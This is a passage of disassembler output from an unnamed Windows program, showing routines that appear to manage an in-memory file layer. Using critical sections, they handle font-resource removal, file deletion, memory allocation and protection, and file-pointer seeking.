var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E328
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 34h
push ebx
push esi
push edi
or [ebp+var_20], 0FFFFFFFFh
and [ebp+var_1C], 0
push 0
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_0]
call sub_50153F
test eax, eax
jz loc_4FFEBA
movzx eax, [ebp+var_24]
test eax, eax
jnz loc_4FFEBA
mov eax, ds:dword_5118E8
mov [ebp+var_34], eax
cmp [ebp+var_34], 0
jz short loc_4FFD98
mov eax, [ebp+var_34]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_38], 1
jmp short loc_4FFD9C
; ---------------------------------------------------------------------------
loc_4FFD98: ; CODE XREF: sub_4FFD24+5Fj
and [ebp+var_38], 0
loc_4FFD9C: ; CODE XREF: sub_4FFD24+72j
movzx eax, [ebp+var_38]
test eax, eax
jz loc_4FFEBA
and [ebp+var_4], 0
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
push [ebp+var_1C]
mov ecx, ds:dword_5118E8
call sub_50B871
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_4FFE88
mov eax, [ebp+var_28]
cmp dword ptr [eax], 0
jz short loc_4FFDE8
push ds:off_50E4F8
push 70h
push ds:off_50E4FC
call sub_50848C
loc_4FFDE8: ; CODE XREF: sub_4FFD24+AFj
mov eax, [ebp+var_28]
cmp dword ptr [eax+4], 0
jnz short loc_4FFE04
push ds:off_50E4F8
push 71h
push ds:off_50E4FC
call sub_50848C
loc_4FFE04: ; CODE XREF: sub_4FFD24+CBj
mov eax, [ebp+var_28]
push dword ptr [eax+4]
call ds:dword_5117EC ; RemoveFontResourceA
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov eax, [ebp+var_28]
push dword ptr [eax+4]
call ds:dword_5116C0 ; DeleteFileA
push [ebp+var_1C]
mov ecx, ds:dword_5118E8
call sub_50B8E0
mov [ebp+var_30], eax
mov eax, [ebp+var_30]
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_4FFE6B
mov eax, [ebp+var_2C]
mov eax, [eax+4]
mov [ebp+var_3C], eax
push [ebp+var_3C]
call sub_5083DD
pop ecx
push 1
pop eax
and eax, 1
test eax, eax
jz short loc_4FFE63
push [ebp+var_2C]
call sub_5083DD
pop ecx
loc_4FFE63: ; CODE XREF: sub_4FFD24+134j
mov eax, [ebp+var_2C]
mov [ebp+var_44], eax
jmp short loc_4FFE6F
; ---------------------------------------------------------------------------
loc_4FFE6B: ; CODE XREF: sub_4FFD24+118j
and [ebp+var_44], 0
loc_4FFE6F: ; CODE XREF: sub_4FFD24+145j
push 0FFFFFFFFh
mov [ebp+var_48], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_48]
jmp short loc_4FFEBC
; ---------------------------------------------------------------------------
loc_4FFE88: ; CODE XREF: sub_4FFD24+A3j
push 0FFFFFFFFh
and [ebp+var_4C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_4C]
jmp short loc_4FFEBC
; ---------------------------------------------------------------------------
loc_4FFE9E: ; DATA XREF: _6:0050E330o
mov eax, ds:dword_5118E8
mov [ebp+var_40], eax
cmp [ebp+var_40], 0
jz short locret_4FFEB9
mov eax, [ebp+var_40]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_4FFEB9: ; CODE XREF: sub_4FFD24+186j
retn
; ---------------------------------------------------------------------------
loc_4FFEBA: ; CODE XREF: sub_4FFD24+41j
; sub_4FFD24+4Dj ...
xor eax, eax
loc_4FFEBC: ; CODE XREF: sub_4FFD24+162j
; sub_4FFD24+178j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4FFD24 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FFECD proc near ; CODE XREF: sub_50B55B+Bp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E338
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
mov eax, ds:dword_5118E0
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4FFF13
mov eax, [ebp+var_20]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_24], 1
jmp short loc_4FFF17
; ---------------------------------------------------------------------------
loc_4FFF13: ; CODE XREF: sub_4FFECD+31j
and [ebp+var_24], 0
loc_4FFF17: ; CODE XREF: sub_4FFECD+44j
movzx eax, [ebp+var_24]
test eax, eax
jz loc_4FFFAC
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E0
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4FFF54
push 0FFFFFFFFh
and [ebp+var_2C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp short loc_4FFFAE
; ---------------------------------------------------------------------------
loc_4FFF54: ; CODE XREF: sub_4FFECD+6Fj
push 8000h
push 0
push [ebp+arg_0]
call ds:dword_5117A8 ; VirtualFree
mov ecx, [ebp+arg_4]
mov [ecx], eax
push [ebp+arg_0]
mov ecx, ds:dword_5118E0
call sub_50B8E0
push 0FFFFFFFFh
mov [ebp+var_30], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_30]
jmp short loc_4FFFAE
; ---------------------------------------------------------------------------
loc_4FFF90: ; DATA XREF: _6:0050E340o
mov eax, ds:dword_5118E0
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short locret_4FFFAB
mov eax, [ebp+var_28]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_4FFFAB: ; CODE XREF: sub_4FFECD+CFj
retn
; ---------------------------------------------------------------------------
loc_4FFFAC: ; CODE XREF: sub_4FFECD+50j
xor eax, eax
loc_4FFFAE: ; CODE XREF: sub_4FFECD+85j
; sub_4FFECD+C1j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4FFECD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FFFBF proc near ; CODE XREF: sub_50B51C+17p
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E348
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 44h
push ebx
push esi
push edi
and [ebp+var_20], 0
mov eax, [ebp+arg_14]
and dword ptr [eax], 0
and [ebp+var_24], 0
mov [ebp+var_1C], 2
mov eax, ds:dword_5118E4
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_50001A
mov eax, [ebp+var_48]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_4C], 1
jmp short loc_50001E
; ---------------------------------------------------------------------------
loc_50001A: ; CODE XREF: sub_4FFFBF+46j
and [ebp+var_4C], 0
loc_50001E: ; CODE XREF: sub_4FFFBF+59j
movzx eax, [ebp+var_4C]
test eax, eax
jz loc_500203
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_50005E
push 0FFFFFFFFh
and [ebp+var_54], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_54]
jmp loc_500205
; ---------------------------------------------------------------------------
loc_50005E: ; CODE XREF: sub_4FFFBF+84j
mov eax, [ebp+var_28]
mov eax, [eax]
mov [ebp+var_2C], eax
mov eax, [ebp+var_2C]
mov eax, [eax]
mov [ebp+var_30], eax
mov eax, [ebp+var_30]
mov ecx, [ebp+arg_C]
cmp ecx, [eax+8]
jbe short loc_500086
push 57h
call ds:dword_51178C ; RtlRestoreLastWin32Error
jmp loc_5001B8
; ---------------------------------------------------------------------------
loc_500086: ; CODE XREF: sub_4FFFBF+B8j
cmp [ebp+arg_10], 0
jnz short loc_500098
mov eax, [ebp+var_30]
mov eax, [eax+8]
sub eax, [ebp+arg_C]
mov [ebp+arg_10], eax
loc_500098: ; CODE XREF: sub_4FFFBF+CBj
mov eax, [ebp+arg_10]
add eax, [ebp+arg_C]
mov ecx, [ebp+var_30]
cmp eax, [ecx+8]
jbe short loc_5000B3
push 57h
call ds:dword_51178C ; RtlRestoreLastWin32Error
jmp loc_5001B8
; ---------------------------------------------------------------------------
loc_5000B3: ; CODE XREF: sub_4FFFBF+E5j
mov eax, [ebp+arg_4]
mov [ebp+var_58], eax
cmp [ebp+var_58], 0
jbe short loc_5000D7
cmp [ebp+var_58], 2
jbe short loc_5000D0
cmp [ebp+var_58], 0F001Fh
jz short loc_5000D0
jmp short loc_5000D7
; ---------------------------------------------------------------------------
loc_5000D0: ; CODE XREF: sub_4FFFBF+104j
; sub_4FFFBF+10Dj
mov [ebp+var_1C], 4
loc_5000D7: ; CODE XREF: sub_4FFFBF+FEj
; sub_4FFFBF+10Fj
push [ebp+var_1C]
push 1000h
push [ebp+arg_10]
push 0
call ds:dword_5117A4 ; VirtualAlloc
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_5000F8
jmp loc_5001B8
; ---------------------------------------------------------------------------
loc_5000F8: ; CODE XREF: sub_4FFFBF+132j
cmp [ebp+var_1C], 4
jz short loc_500119
lea eax, [ebp+var_38]
push eax
push 4
push [ebp+arg_10]
push [ebp+var_20]
call ds:dword_5117AC ; VirtualProtect
test eax, eax
jnz short loc_500119
jmp loc_5001B8
; ---------------------------------------------------------------------------
loc_500119: ; CODE XREF: sub_4FFFBF+13Dj
; sub_4FFFBF+153j
push 0
push 0
push [ebp+arg_C]
push [ebp+arg_0]
call sub_500421
and [ebp+var_34], 0
loc_50012C: ; CODE XREF: sub_4FFFBF+1B4j
mov eax, [ebp+var_34]
cmp eax, [ebp+arg_10]
jnb short loc_500175
and [ebp+var_40], 0
lea eax, [ebp+var_3C]
push eax
push 0
lea eax, [ebp+var_40]
push eax
mov eax, [ebp+arg_10]
sub eax, [ebp+var_34]
push eax
mov eax, [ebp+var_20]
add eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call sub_501177
test eax, eax
jz short loc_500168
cmp [ebp+var_3C], 0
jz short loc_500168
cmp [ebp+var_40], 0
jnz short loc_50016A
loc_500168: ; CODE XREF: sub_4FFFBF+19Bj
; sub_4FFFBF+1A1j
jmp short loc_5001B8
; ---------------------------------------------------------------------------
loc_50016A: ; CODE XREF: sub_4FFFBF+1A7j
mov eax, [ebp+var_34]
add eax, [ebp+var_40]
mov [ebp+var_34], eax
jmp short loc_50012C
; ---------------------------------------------------------------------------
loc_500175: ; CODE XREF: sub_4FFFBF+173j
cmp [ebp+var_1C], 4
jz short loc_500194
lea eax, [ebp+var_44]
push eax
push [ebp+var_1C]
push [ebp+arg_10]
push [ebp+var_20]
call ds:dword_5117AC ; VirtualProtect
test eax, eax
jnz short loc_500194
jmp short loc_5001B8
; ---------------------------------------------------------------------------
loc_500194: ; CODE XREF: sub_4FFFBF+1BAj
; sub_4FFFBF+1D1j
push [ebp+var_2C]
push [ebp+var_20]
mov ecx, ds:dword_5118E0
call sub_4FC000
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_20]
mov [eax], ecx
and [ebp+var_20], 0
mov [ebp+var_24], 1
loc_5001B8: ; CODE XREF: sub_4FFFBF+C2j
; sub_4FFFBF+EFj ...
push 0FFFFFFFFh
mov [ebp+var_5C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_5C]
jmp short loc_500205
; ---------------------------------------------------------------------------
loc_5001D1: ; DATA XREF: _6:0050E350o
mov eax, ds:dword_5118E4
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jz short loc_5001EC
mov eax, [ebp+var_50]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_5001EC: ; CODE XREF: sub_4FFFBF+21Ej
cmp [ebp+var_20], 0
jz short locret_500202
push 8000h
push 0
push [ebp+var_20]
call ds:dword_5117A8 ; VirtualFree
locret_500202: ; CODE XREF: sub_4FFFBF+231j
retn
; ---------------------------------------------------------------------------
loc_500203: ; CODE XREF: sub_4FFFBF+65j
xor eax, eax
loc_500205: ; CODE XREF: sub_4FFFBF+9Aj
; sub_4FFFBF+210j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
sub_4FFFBF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500216 proc near ; CODE XREF: sub_50B4A4+11p
; sub_50B4E0+11p
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00500333 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E358
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 1Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
mov eax, ds:dword_5118E4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_500262
mov eax, [ebp+var_28]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_2C], 1
jmp short loc_500266
; ---------------------------------------------------------------------------
loc_500262: ; CODE XREF: sub_500216+37j
and [ebp+var_2C], 0
loc_500266: ; CODE XREF: sub_500216+4Aj
movzx eax, [ebp+var_2C]
test eax, eax
jz loc_500333
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_50030C
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+var_1C]
mov eax, [eax]
mov eax, [eax+0Ch]
push dword ptr [eax+0Ch]
call ds:dword_5116A8 ; CreateFileA
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jz short loc_5002F3
push 10h
call sub_50835A
pop ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_20], eax
mov esi, [ebp+var_1C]
mov edi, [ebp+var_20]
movsd
movsd
movsd
movsd
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_4]
mov ecx, [ecx]
mov [eax+8], ecx
push [ebp+var_20]
mov eax, [ebp+arg_4]
push dword ptr [eax]
mov ecx, ds:dword_5118E4
call sub_50B98E
loc_5002F3: ; CODE XREF: sub_500216+A2j
push 0FFFFFFFFh
mov [ebp+var_34], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_34]
jmp short loc_500335
; ---------------------------------------------------------------------------
loc_50030C: ; CODE XREF: sub_500216+75j
or [ebp+var_4], 0FFFFFFFFh
call sub_500317
jmp short loc_500333
sub_500216 endp
; =============== S U B R O U T I N E =======================================
sub_500317 proc near ; CODE XREF: sub_500216+FAp
; DATA XREF: _6:0050E360o
mov eax, ds:dword_5118E4
mov [ebp-30h], eax
cmp dword ptr [ebp-30h], 0
jz short locret_500332
mov eax, [ebp-30h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_500332: ; CODE XREF: sub_500317+Cj
retn
sub_500317 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500216
loc_500333: ; CODE XREF: sub_500216+56j
; sub_500216+FFj
xor eax, eax
loc_500335: ; CODE XREF: sub_500216+F4j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_500216
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500346 proc near ; CODE XREF: sub_4FC3F3+17p
; sub_4FF036+39p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
push 0
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_50153F
test eax, eax
jz loc_50041B
movzx eax, [ebp+var_C]
test eax, eax
jnz loc_50041B
mov eax, [ebp+var_4]
mov eax, [eax]
mov [ebp+var_8], eax
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+var_4]
mov eax, [eax+0Ch]
push dword ptr [eax+0Ch]
call ds:dword_5116A8 ; CreateFileA
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_500416
push 0
push 0
mov eax, [ebp+var_8]
push dword ptr [eax+4]
mov eax, [ebp+arg_C]
push dword ptr [eax]
call ds:dword_511788 ; SetFilePointer
push 10h
call sub_50835A
pop ecx
mov [ebp+var_14], eax
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_C]
mov ecx, [ecx]
mov [eax+8], ecx
mov eax, [ebp+var_10]
and dword ptr [eax+4], 0
movzx eax, [ebp+arg_10]
neg eax
sbb eax, eax
and eax, 0C0000000h
add eax, 40000000h
mov ecx, [ebp+var_10]
mov [ecx+0Ch], eax
push [ebp+var_10]
mov eax, [ebp+arg_C]
push dword ptr [eax]
mov ecx, ds:dword_5118E4
call sub_4FC000
loc_500416: ; CODE XREF: sub_500346+63j
push 1
pop eax
jmp short locret_50041D
; ---------------------------------------------------------------------------
loc_50041B: ; CODE XREF: sub_500346+20j
; sub_500346+2Cj
xor eax, eax
locret_50041D: ; CODE XREF: sub_500346+D3j
leave
retn 14h
sub_500346 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500421 proc near ; CODE XREF: sub_4FFFBF+164p
; sub_505BD7+11Dp ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 0050065F SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E368
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 24h
push ebx
push esi
push edi
cmp [ebp+arg_C], 0
jnz short loc_500452
lea eax, [ebp+var_1C]
mov [ebp+arg_C], eax
loc_500452: ; CODE XREF: sub_500421+29j
mov eax, ds:dword_5118E4
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_500473
mov eax, [ebp+var_2C]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_30], 1
jmp short loc_500477
; ---------------------------------------------------------------------------
loc_500473: ; CODE XREF: sub_500421+3Dj
and [ebp+var_30], 0
loc_500477: ; CODE XREF: sub_500421+50j
movzx eax, [ebp+var_30]
test eax, eax
jz loc_50065F
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz loc_500638
mov eax, [ebp+var_24]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_20], eax
mov eax, [ebp+var_24]
mov eax, [eax+0Ch]
and eax, 1
test eax, eax
jz short loc_5004EB
push [ebp+arg_8]
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511788 ; SetFilePointer
mov ecx, [ebp+arg_C]
mov [ecx], eax
push 0FFFFFFFFh
mov [ebp+var_38], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_38]
jmp loc_500661
; ---------------------------------------------------------------------------
loc_5004EB: ; CODE XREF: sub_500421+96j
mov eax, [ebp+var_24]
mov eax, [eax+4]
mov [ebp+var_28], eax
cmp [ebp+arg_8], 0
jnz short loc_50054D
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_4]
cmp ecx, [eax+8]
jle short loc_50051E
mov eax, [ebp+var_24]
mov ecx, [ebp+var_20]
mov ecx, [ecx+8]
mov [eax+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_24]
mov ecx, [ecx+4]
mov [eax], ecx
jmp short loc_500548
; ---------------------------------------------------------------------------
loc_50051E: ; CODE XREF: sub_500421+E2j
cmp [ebp+arg_4], 0
jge short loc_500537
mov eax, [ebp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
push 83h
call ds:dword_51178C ; RtlRestoreLastWin32Error
jmp short loc_500548
; ---------------------------------------------------------------------------
loc_500537: ; CODE XREF: sub_500421+101j
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
mov [eax], ecx
loc_500548: ; CODE XREF: sub_500421+FBj
; sub_500421+114j
jmp loc_50061F
; ---------------------------------------------------------------------------
loc_50054D: ; CODE XREF: sub_500421+D7j
cmp [ebp+arg_8], 2
jnz short loc_5005AE
cmp [ebp+arg_4], 0
jle short loc_500572
mov eax, [ebp+var_24]
mov ecx, [ebp+var_20]
mov ecx, [ecx+8]
mov [eax+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_24]
mov ecx, [ecx+4]
mov [eax], ecx
jmp short loc_5005AC
; ---------------------------------------------------------------------------
loc_500572: ; CODE XREF: sub_500421+136j
mov eax, [ebp+var_20]
mov eax, [eax+8]
neg eax
cmp [ebp+arg_4], eax
jge short loc_500592
mov eax, [ebp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
push 83h
call ds:dword_51178C ; RtlRestoreLastWin32Error
jmp short loc_5005AC
; ---------------------------------------------------------------------------
loc_500592: ; CODE XREF: sub_500421+15Cj
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_4]
add ecx, [eax+8]
mov eax, [ebp+var_24]
mov [eax+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_24]
mov ecx, [ecx+4]
mov [eax], ecx
loc_5005AC: ; CODE XREF: sub_500421+14Fj
; sub_500421+16Fj
jmp short loc_50061F
; ---------------------------------------------------------------------------
loc_5005AE: ; CODE XREF: sub_500421+130j
cmp [ebp+arg_8], 1
jnz short loc_500611
mov eax, [ebp+arg_4]
add eax, [ebp+var_28]
mov ecx, [ebp+var_20]
cmp eax, [ecx+8]
jle short loc_5005DB
mov eax, [ebp+var_24]
mov ecx, [ebp+var_20]
mov ecx, [ecx+8]
mov [eax+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_24]
mov ecx, [ecx+4]
mov [eax], ecx
jmp short loc_50060F
; ---------------------------------------------------------------------------
loc_5005DB: ; CODE XREF: sub_500421+19Fj
mov eax, [ebp+var_28]
add eax, [ebp+arg_4]
test eax, eax
jge short loc_5005F8
mov eax, [ebp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
push 83h
call ds:dword_51178C ; RtlRestoreLastWin32Error
jmp short loc_50060F
; ---------------------------------------------------------------------------
loc_5005F8: ; CODE XREF: sub_500421+1C2j
mov eax, [ebp+arg_4]
add eax, [ebp+var_28]
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_24]
mov ecx, [ecx+4]
mov [eax], ecx
loc_50060F: ; CODE XREF: sub_500421+1B8j
; sub_500421+1D5j
jmp short loc_50061F
; ---------------------------------------------------------------------------
loc_500611: ; CODE XREF: sub_500421+191j
mov eax, [ebp+arg_C]
or dword ptr [eax], 0FFFFFFFFh
push 57h
call ds:dword_51178C ; RtlRestoreLastWin32Error
loc_50061F: ; CODE XREF: sub_500421:loc_500548j
; sub_500421:loc_5005ACj ...
push 0FFFFFFFFh
mov [ebp+var_3C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_3C]
jmp short loc_500661
; ---------------------------------------------------------------------------
loc_500638: ; CODE XREF: sub_500421+7Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_500643
jmp short loc_50065F
sub_500421 endp
; =============== S U B R O U T I N E =======================================
sub_500643 proc near ; CODE XREF: sub_500421+21Bp
; DATA XREF: _6:0050E370o
mov eax, ds:dword_5118E4
mov [ebp-34h], eax
cmp dword ptr [ebp-34h], 0
jz short locret_50065E
mov eax, [ebp-34h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_50065E: ; CODE XREF: sub_500643+Cj
retn
sub_500643 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500421
loc_50065F: ; CODE XREF: sub_500421+5Cj
; sub_500421+220j
xor eax, eax
loc_500661: ; CODE XREF: sub_500421+C5j
; sub_500421+215j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 10h
; END OF FUNCTION CHUNK FOR sub_500421
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500672 proc near ; CODE XREF: sub_501CC4+80p
; sub_505456+58p ...
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0050072E SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E378
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 14h
push ebx
push esi
push edi
mov eax, ds:dword_5118E4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_5006B8
mov eax, [ebp+var_20]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_24], 1
jmp short loc_5006BC
; ---------------------------------------------------------------------------
loc_5006B8: ; CODE XREF: sub_500672+31j
and [ebp+var_24], 0
loc_5006BC: ; CODE XREF: sub_500672+44j
movzx eax, [ebp+var_24]
test eax, eax
jz short loc_50072E
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_500707
mov eax, [ebp+var_1C]
mov eax, [eax]
mov eax, [eax]
mov ecx, [ebp+arg_4]
mov eax, [eax+8]
mov [ecx], eax
push 0FFFFFFFFh
mov [ebp+var_2C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp short loc_500730
; ---------------------------------------------------------------------------
loc_500707: ; CODE XREF: sub_500672+6Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_500712
jmp short loc_50072E
sub_500672 endp
; =============== S U B R O U T I N E =======================================
sub_500712 proc near ; CODE XREF: sub_500672+99p
; DATA XREF: _6:0050E380o
mov eax, ds:dword_5118E4
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jz short locret_50072D
mov eax, [ebp-28h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_50072D: ; CODE XREF: sub_500712+Cj
retn
sub_500712 endp
